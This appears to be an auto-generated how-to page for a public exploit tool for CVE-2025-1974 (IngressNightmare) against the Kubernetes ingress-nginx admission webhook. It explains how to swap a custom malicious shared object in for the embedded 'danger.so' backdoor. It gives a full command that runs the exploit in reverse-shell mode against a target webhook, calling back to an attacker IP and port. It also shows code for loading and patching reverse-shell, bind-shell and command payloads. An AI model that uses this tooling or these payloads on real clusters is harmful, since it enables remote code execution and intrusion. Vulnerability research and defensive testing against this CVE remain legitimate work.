# How IngressNightmare Supports Custom SO Files for Payload Generation

> Learn how IngressNightmare supports custom SO files for payload generation using the --so CLI flag. Replace default payloads without recompiling. Secure your systems directly.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: how-to-guide
- Published: 2026-03-01

---

**IngressNightmare accepts custom shared object (*.so*) files through the `--so` CLI flag, loading them into the global `evilLibrary` variable to replace the embedded `danger.so` payload without requiring tool recompilation.**

The `esonhugh/ingressnightmare-cve-2025-1974-exps` repository implements a flexible payload architecture for CVE-2025-1974 exploitation. By supporting ingressnightmare custom SO files, the tool allows security researchers to supply proprietary or architecture-specific backdoor binaries while leveraging the existing injection framework.

## Specifying Custom Libraries via CLI

The tool exposes the `--so` (or `-so`) flag in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) to accept external shared objects at runtime. When provided, the flag value populates the `Opts.SoFile` configuration field (lines 112-116). During the `PersistentPreRun` phase, the program checks for this option and reads the specified file from disk using `os.ReadFile` (lines 168-174), ensuring the custom binary is available before any exploit commands execute.

```bash

# Load a custom shared object for payload generation

./ingressnightmare \
    --so ./my_custom_payload.so \
    --mode reverse-shell \
    --reverse-shell-ip 10.1.2.3 \
    --reverse-shell-port 4444 \
    --ingress-webhook-url https://target-ingress:443

```

## The Internal Storage Mechanism

Once read, the raw byte slice passes directly to `nginx_ingress.Init()` within the same initialization block. This function, defined in [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go) (lines 22-25), copies the supplied data into the package-level `evilLibrary` variable. This global byte slice serves as the canonical source for all subsequent payload operations, effectively decoupling the file I/O from the generation logic.

```go
// Simplified initialization flow from main.go
if Opts.SoFile != "" {
    data, _ := os.ReadFile(Opts.SoFile)  // User-supplied .so
    nginx_ingress.Init(data)
} else {
    nginx_ingress.Init(nginx_ingress.DefaultEvilLibrary())
}

```

## Automatic Payload Generation Integration

Functions such as `NewReverseShellPayload`, `NewBindShellPayload`, and `NewCommandPayload` consume `evilLibrary` through internal patching helpers like `bytesReplace`. These generators modify the binary data in-place to insert runtime parameters—**IP addresses**, **port numbers**, **mode flags**, or **shell commands**—before returning the final exploit payload (see usage in [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go), lines 56-71). Because the pipeline references the global variable, any custom SO file loaded via `Init` automatically propagates through all generation routines without code modification.

## Default Embedded Library Fallback

When users omit the `--so` flag, the tool seamlessly falls back to the embedded `danger.so`. The logic in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) (lines 173-176) invokes `nginx_ingress.DefaultEvilLibrary()`, which retrieves the binary embedded at compile time via the `//go:embed` directive (lines 27-30 and 17-20 in [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go)). This ensures the tool remains functional out-of-the-box while maintaining extensibility for custom ingressnightmare custom SO files.

```go
// From nginx-ingress/payload.go - the embed directive
//go:embed danger.so danger.c
var evilFS embed.FS

func DefaultEvilLibrary() []byte {
    data, _ := evilFS.ReadFile("danger.so")
    return data
}

```

## Binary Compatibility Requirements

Custom SO files must adhere to the original `danger.so` binary layout and match the target architecture. Supplying an incompatible ELF format results in an "exec format error" when the Kubernetes pod attempts execution. The repository includes the C source code ([`danger.c`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/danger.c)) for reference and recompilation; access it via `./ingressnightmare show-c` when porting payloads to different processor architectures.

## Summary

- The `--so` flag in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) enables runtime specification of arbitrary shared objects without recompilation.
- `nginx_ingress.Init()` stores file bytes in the global `evilLibrary` variable (lines 22-25).
- Payload generators like `NewReverseShellPayload` automatically consume `evilLibrary`, requiring no source changes to support custom binaries.
- The tool defaults to the embedded `danger.so` via `DefaultEvilLibrary()` when no external file is specified.

## Frequently Asked Questions

### What flag do I use to specify a custom SO file in IngressNightmare?

Use the `--so` or `-so` flag followed by the absolute or relative path to your compiled shared object. The tool validates the path during `PersistentPreRun` and loads the bytes before executing the selected exploit mode.

### Where does IngressNightmare store the custom SO file data internally?

The `Init()` function in [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go) copies the file contents into the package-level `evilLibrary` byte slice (lines 22-25). This global variable acts as the single source of truth for all payload generation functions throughout the application lifecycle.

### Can I use any SO file, or does it need specific formatting?

The custom SO must maintain the same binary structure as the original `danger.so` and target the correct architecture (e.g., x86_64 vs. ARM). Run `./ingressnightmare show-c` to retrieve the reference C source for recompilation if the target environment requires a different instruction set.

### What happens if I don't provide the --so flag?

The tool automatically invokes `DefaultEvilLibrary()`, which reads the `danger.so` file embedded at build time using Go's `//go:embed` directive (lines 27-30). This provides a zero-configuration default while preserving the ability to inject custom libraries when needed.